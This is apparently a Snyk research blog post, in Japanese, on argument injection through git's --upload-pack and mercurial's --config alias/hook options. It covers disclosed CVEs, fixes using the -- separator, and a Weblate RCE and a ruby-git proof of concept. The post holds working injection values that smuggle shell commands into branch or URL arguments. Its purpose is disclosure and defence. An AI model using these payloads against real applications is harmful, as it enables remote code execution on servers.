Skip to main content

VCSツール(gitとmercurial)使用時の引数インジェクションを再検証する

著者
Headshot of Alessio Della Libera

Alessio Della Libera

feature argument injection

2022年8月23日

0 分で読めます

今回の調査の主な目的の一つは、コマンドインジェクションを防ぐ安全なAPIを使用していても、任意のコマンドを実行できてしまう仕組みを調べることでした。対象とするのは、gitやhg(mercurial)などのバージョン管理システム(VCS)ツールです。これらのツールには、状況によって任意のコマンドを実行できるオプションがあります。

今回の調査対象は、安全なAPIを使ってこれらのコマンドを呼び出すWebアプリケーションとライブラリプロジェクト(プログラミング言語は問いません)です。CLIプロジェクトや、設定ファイルなどの保存されたデータを使ってこれらのコマンドを呼び出すプロジェクトは対象としていません。

このブログ記事では、安全なAPIを使用している場合でも、引数オプションのインジェクションによって任意のコマンドを実行できてしまう一般的なケースを紹介します。また、オープンソースのメンテナーに向けて、修正例と推奨事項も提示します。

引数インジェクションの基礎

次のような状況を考えてみましょう。開発者は、リポジトリを操作するために、プロジェクトディレクトリからgitまたはhgコマンドを実行したいと考えています。しかし、ユーザーが指定した値をこれらのコマンドのパラメーターとして使用し、リポジトリURLやブランチ名などをユーザーが指定できるようにしています。開発者はコマンドインジェクションの脆弱性を認識しているため、安全なAPIを使ってシェルコマンドを実行することにしました。たとえば、プロジェクトがNode.jsの場合、child_processモジュールのspawn APIを次のように呼び出すと、コマンドインジェクションを防げます。

spawn([“command”, “-option1”, user_input, user_input’)

しかし、必ずしもそうとは限りません。後ほど説明するように、APIが呼び出すコマンドによっても状況は異なります。引数インジェクションについて詳しく知りたい場合は、Staaldraadの記事が参考になります。

なぜgitが重要なのか?

gitの一部のサブコマンドには、実行するプログラムやコマンドをユーザーが指定できるオプションがあります。その一例が--upload-packオプションで、次のgitサブコマンドで使用できます。

ここでは、--upload-packオプションを実装しているgit fetch、ls-remote、pullサブコマンドを例に見てみましょう。

コマンドによって、必須引数の後に任意の引数が続きます。たとえばgit fetchは、リポジトリなどの引数を少なくとも1つ必要とし、その後にrefspecと一連のオプションを指定します。

ターミナルで次のコマンドを実行すると、シェルコマンドtouch HELLOが実行されます。

git ls-remote --upload-pack="touch HELLO1" master
git fetch origin --upload-pack="touch HELLO2" // git init first or in a git project
git pull origin --upload-pack="touch HELLO3" // git init first or in a git project

「git」を使った脆弱なコードとは?

この脆弱性を説明するため、JavaScriptとPythonを使います。例を簡潔にするため、urlとbranchの値はユーザーが指定し、適切にサニタイズされていないものとします。

次の例では、従来型のコマンドインジェクションを防ぐ安全なAPIを使っていても、任意のコードを実行できてしまうことを示します。

JavaScript(NodeJS)

const cp = require("child_process")
url = "--upload-pack=touch HELLO_JS"
branch = "foo"
cp.spawn("git", ["ls-remote", url, branch])
cp.spawn("git", ["ls-remote", "& touch NOT_WORKING;", "foo"])

最後の行は、通常のコマンドインジェクションペイロード(コマンドを連結するために「; & |」などの特殊文字を使うもの)が機能しないことを示しています。

Python

import subprocess
url = "--upload-pack=touch HELLO_PY"
branch = "foo"

subprocess.Popen(["git", "ls-remote", url, branch], shell=False)

上記のケースでコマンドを実行できるのは、対応するgitサブコマンドに必要な引数が指定されている場合に限られる点に注意が必要です。たとえば、git ls-remoteサブコマンドに引数を1つだけ指定し、他の引数がない場合、先ほどのケースは機能しません。

JavaScript(NodeJS)

const cp = require("child_process")
url = "--upload-pack=touch HELLO_JS"
cp.spawn("git", ["ls-remote", url])
// fatal: No remote configured to list refs from.

指定された唯一の引数がリポジトリとして解釈されるためです(git ls-remoteの場合)。コマンドに別の有効な引数を渡せば、先ほどと同じ状況になり、引き続きコードを実行できます。

修正方法の提案

先ほどのケースに対する解決策の一つは、ユーザーが指定した値の前に--を追加することです。公式ドキュメントには、「任意のユーザー入力を処理するスクリプトを書く場合、適切な位置に区切り文字の--を置いて引数を明確にするのがよい」と説明されています。

たとえば、次のコードではコマンドが実行されなくなります。

const cp = require("child_process")
url = "--upload-pack=touch HELLO_JS"
branch = "foo"
cp.spawn("git", ["ls-remote", "--", url, branch])
// fatal: strange pathname '--upload-pack=touch HELLO_JS' blocked

hg(mercurial)に注意が必要なのはなぜ?

前のセクションで見たように、任意のコマンドを実行するには、必須引数などの条件を満たす必要があります。しかし、hgではこの条件が当てはまらないため、悪用がはるかに容易です。

mercurialでは、さまざまなオプションに加えて、–configオプションを使い、clone、init、logなど、すべてのコマンドにaliasesとhooksを指定できます。

mercurialのドキュメントによると、エイリアスを使うと「他のコマンド(またはエイリアス)をもとに、必要に応じて引数を含めた独自のコマンドを定義できます。エイリアスの先頭に感嘆符(「!」)を付けると、シェルエイリアスになります。シェルエイリアスはシェルで実行されるため、たとえば次のように任意のコマンドを実行できます。」

echo = !echo $@

こうすると、"hg echo foo"を実行して、ターミナルに"foo"を表示できます。

一方、フックとは、「コミットの開始時や終了時など、さまざまなアクションによって自動的に実行されるコマンドまたはPython関数」です。条件が満たされたときに実行されるコマンドで、他のmercurialコマンドの実行前(pre-<command>)または実行後(post-<command>)に実行できます。

「hg init」を使った脆弱なコードとは?

サニタイズされていないユーザー入力を使ってhg initコマンドを呼び出した場合に、任意のコマンドを実行できる例を見てみましょう。

エイリアスの例

hg init -config=alias.init="!touch HELLO"

touch HELLOコマンドが実行されます。initコマンドのエイリアスが定義されており、hg initコマンドの代わりに実行されるためです。

コードから同じコマンドを実行すると、次のようになります(前と同様、sourceはユーザーが指定し、適切にサニタイズされていないものとします)。

JavaScript(NodeJS)
const cp = require("child_process")

source = "--config=alias.init=!touch HELLO_JS"
cp.spawn("hg", ["init", source])
Python
import subprocess
source = "--config=alias.init=!touch HELLO_PY"
subprocess.call(["hg", "init", source])

フックの例

hg init -config=hooks.pre-init="touch HELLO"

touch HELLOコマンドは、initコマンドの実行前(つまりpre-<command>オプション)に実行されます。

コードから同じコマンドを実行すると、次のようになります。

JavaScript(NodeJS)
const cp = require("child_process")

source = "--config=hooks.pre-init=touch HELLO_JS"
cp.spawn("hg", ["init", source])
Python
import subprocess
source = "--config=hooks.pre-init=touch HELLO_PY"
subprocess.call(["hg", "init", source])

gitの場合とは異なり、mercurialコマンドで任意のコマンドを実行するには、引数が1つ制御できれば十分です。たとえそれが唯一のパラメーターであっても実行できます。

修正方法の提案

ここでも、ユーザーが指定した引数の前に--を追加することでこの問題に対処できます。

たとえば、次の悪用方法は機能しなくなり、source変数の内容を名前とするリポジトリフォルダーが作成されます。

const cp = require("child_process")

source = "--config=alias.init=!touch HELLO_JS"
cp.spawn("hg", ["init", "--", source])

調査結果

同様の問題は、過去にも悪用されています。有名な例として、CocoaPods TrunkとPhabricatorにおけるリモートコード実行攻撃があります。

以下の表は、今回の調査で発見し、開示した問題をまとめたものです。

プロジェクト

脆弱性

アドバイザリ/参照

CVE

ungit

リモートコード実行(RCE)

CVE-2022-25766

mozilla/pontoon

リモートコード実行(RCE)

該当なし

GoCD Server

リモートコード実行(RCE)

CVE-2022-29184

Weblate

リモートコード実行(RCE)×2

CVE-2022-23915

simple-git

コマンドインジェクション

CVE-2022-24433

ruby-git

コマンドインジェクション

CVE-2022-25648

cocoapods-downloader

コマンドインジェクション

CVE-2022-24440

cocoapods-downloader

コマンドインジェクション

CVE-2022-21223

Masterminds/vcs

コマンドインジェクション

CVE-2022-21235

git-php

コマンドインジェクション

CVE-2022-25866

libvcs

コマンドインジェクション

CVE-2022-21187

workspace-tools

コマンドインジェクション

CVE-2022-25865

cookiecutter

コマンドインジェクション

CVE-2022-24065

hashicorp/go-getter

コマンドインジェクション

CVE-2022-26945

これらの脆弱性を発見した後、脆弱性開示ポリシーに従って、メンテナーに非公開で報告しました。連絡を取ったすべてのメンテナーの皆さまに、対応いただいたこと、そして協力いただいたことを心より感謝します。

以下のケーススタディでは、広く使われているこれらのプロジェクトで、リモートコード実行やコマンドインジェクションがどのように可能だったのかを説明します。

ケーススタディ:Weblateでのリモートコード実行

Weblateは「バージョン管理システムと緊密に連携するWebベースのローカライズツール」です。認証済みユーザーが引数インジェクションを利用してリモートコードを実行できました。

新しい翻訳コンポーネントを追加し、mercurialリポジトリを使用すると、ユーザー入力のbranchが適切にサニタイズされないままhg pullコマンドに渡されます。

ユーザーが指定した値を使ってhg pullコマンドを呼び出す、該当コードは次のとおりです。

# https://github.com/WeblateOrg/weblate/blob/0b45970ce1fb978be66ef696ff9983f1752828bc/weblate/vcs/mercurial.py#L364-L367
def update_remote(self):
    """Update remote repository."""
    self.execute(["pull", "--branch", self.branch])
    self.clean_revision_cache()

# https://github.com/WeblateOrg/weblate/blob/0b45970ce1fb978be66ef696ff9983f1752828bc/weblate/vcs/base.py#L230
def execute(
    self,
    args: List[str],
    ...
):
    ...
    try:
        self.last_output = self._popen( # <---
            args, #<--- 
            self.path,
            ...
        )
    ...
    return self.last_output

# https://github.com/WeblateOrg/weblate/blob/0b45970ce1fb978be66ef696ff9983f1752828bc/weblate/vcs/base.py#L191
@classmethod
def _popen(
    cls,
    args: List[str],
    ....
):
    """Execute the command using popen."""
    if args is None:
        raise RepositoryException(0, "Not supported functionality")
    if not fullcmd:
        args = [cls._cmd] + list(args)
    ...
    process = subprocess.run(
        args, # <---
        ...
    )
    ... 
    return process.stdout

概念実証

任意のコマンドを実行するには、ユーザーは翻訳プロジェクトで新しい翻訳コンポーネントを作成し、リポジトリのブランチに--config=alias.pull=!id>/app/cache/static/output_rce1.txtを指定します。この場合、idコマンドが実行され、その出力はhttp://localhost:8888/static/output_rce1.txtからアクセスできるページにリダイレクトされます。

1. アプリケーションにログインします。

2. 新しい翻訳プロジェクトを追加し、保存をクリックします。

プロジェクト名、URLスラッグ、プロジェクトWebサイト、翻訳の指示を入力するフィールドが表示されたWeblateのプロジェクト作成フォーム

3. 作成した翻訳プロジェクトに新しい翻訳コンポーネントを追加します。リポジトリブランチフィールドにペイロード--config=alias.pull=!id>/app/cache/static/output_rce1.txtを入力し、続行をクリックします。

Mercurialのバージョン管理、ソースリポジトリのURL、続行前の不審なリポジトリブランチ引数が表示されたWeblateのリポジトリ設定フォーム

4. コマンドidの出力はhttp://localhost:8888/static/output_rce1.txtから確認できます。

uid、gid、groups、root権限を示すハイライト表示付きのlocalhost出力を表示するブラウザー

修正方法

ご覧のとおり、gitリポジトリを扱う場合にもRCEが可能でした。このケースでは、サニタイズされていないユーザー入力repoがgit ls-remoteコマンドに渡されていました。

2つの問題はいずれも、メンテナーによってバージョン4.11.1で速やかに修正されました(Githubのリリースを参照)。修正内容(mercurialとgitのケース)では、ユーザー入力が引数として解釈されるのを防ぐため、その前に--を追加しています。

ケーススタディ:ruby-gitでのコマンドインジェクション

Ruby gitは「gitバイナリへのシステムコールをラップし、Gitリポジトリの作成、読み取り、操作に利用できるライブラリ」です。

fetch(remote = 'origin', opts = {})関数を呼び出すと、remoteパラメーターがサニタイズされずにgit fetchサブコマンドへ渡されます。前述のとおり、git fetchは--upload-pack引数を受け付けるgitサブコマンドの一つです。--upload-packの詳細は、git-fetchのドキュメントを参照してください。

ユーザーが指定した値を使ってgit fetchコマンドを呼び出す、該当コードは次のとおりです。

# https://github.com/ruby-git/ruby-git/blob/521b8e7384cd7ccf3e6c681bd904d1744ac3d70b/lib/git/base.rb#L339-L341
def fetch(remote = 'origin', opts={})
    self.lib.fetch(remote, opts)  # <---
end

# https://github.com/ruby-git/ruby-git/blob/521b8e7384cd7ccf3e6c681bd904d1744ac3d70b/lib/git/lib.rb#L879
def fetch(remote, opts)
    arr_opts = [remote]
    arr_opts << opts[:ref] if opts[:ref]
    ...
    command('fetch', arr_opts)  # <---
end

# https://github.com/ruby-git/ruby-git/blob/521b8e7384cd7ccf3e6c681bd904d1744ac3d70b/lib/git/lib.rb#L1075
def command(cmd, *opts, &block)
    ...
    with_custom_env_variables do
    command_thread = Thread.new do
        output = run_command(git_cmd, &block) # <---
        exitstatus = $?.exitstatus
    end
    command_thread.join
    end

# https://github.com/ruby-git/ruby-git/blob/521b8e7384cd7ccf3e6c681bd904d1744ac3d70b/lib/git/lib.rb#L1179
def run_command(git_cmd, &block)
    return IO.popen(git_cmd, &block) if block_given? # <---
    `#{git_cmd}`.lines.map { |l| Git::EncodingUtils.normalize_encoding(l) }.join
end

概念実証

次のPoCは、任意のコマンドを実行できたことを示しています。

require "git"

g = Git.init('project')

origin = "--upload-pack=touch ./HELLO1;"
g.fetch(origin, {:ref => 'some/ref/head'} )

# ls -la

修正方法

この問題は、メンテナーによってバージョン1.11.0で修正されました(GitHubのリリース)。前回の問題と同様に、この修正では、ユーザー制御値の前に--を追加しました。

要点

…開発者向け

コマンドインジェクションを防ぎ、ユーザー制御値を受け付ける安全なAPIを使ってコマンドを呼び出す際は、ユーザーが指定した値によってコマンドオプションが挿入・操作され、コマンドの動作が変わらないようにすることが重要です。このような混乱を避けるため、--を使って引数とユーザー制御値を区切ることができます。

…メンテナー向け

関数やAPIが、ユーザー制御値を受け取るコマンドの呼び出しをラップしている場合、その動作を文書化しておくとよいでしょう。安全なAPIを使ってコマンドインジェクションを防ぐなど、一部のサニタイズには対応している一方で、入力が危険なオプションとして使われ、予期しない動作につながるケースには対応していないと知ったユーザーの混乱を避けられます。

…セキュリティ研究者向け

今回はgitとhgのコマンドに注目しましたが、同様の動作をするコマンドはほかにも数多くあります。コマンドインジェクションを防ぐ安全なAPIを使っていても、セキュリティ上の問題が発生する可能性がある点にも注意が必要です。問題が起きるかどうかは、実行するコマンドによって異なります。私たちのプログラムが支援するオープンソースプロジェクトで同様の問題(またはその他のセキュリティ脆弱性)を見つけた場合は、Snykの脆弱性開示フォームから報告してください。

参考資料:

続きを読む

Blog

フロンティアモデルは脆弱性を発見した。攻撃者だけがエクスプロイトチェーンを見つけた。

静的解析で欠陥は見つかりましたが、ライブ攻撃テストで侵害につながる連鎖を実証できたのは唯一でした。Evo COS、Claude Security、Claude Code Securityを比較します。

feature insights context
Blog

自律型攻撃はすでに始まっている。防御もそのスピードに追いつかなければならない。

自律型攻撃者によって、防御に使える時間は短くなっています。継続的な検出、修復、検証、予防で、セキュリティチームが攻撃に歩調を合わせる方法をご紹介します。

Blog

AIコーディングエージェントが不適切なアクセス制御を繰り返し実装する理由

AIコーディングエージェントは、コンパイルが通りレビューも通過する一方で、あるテナントのデータを別のテナントに公開してしまう認可ロジックを生成することがあります。不適切なアクセス制御が検出しにくい理由と、その防止策をご紹介します。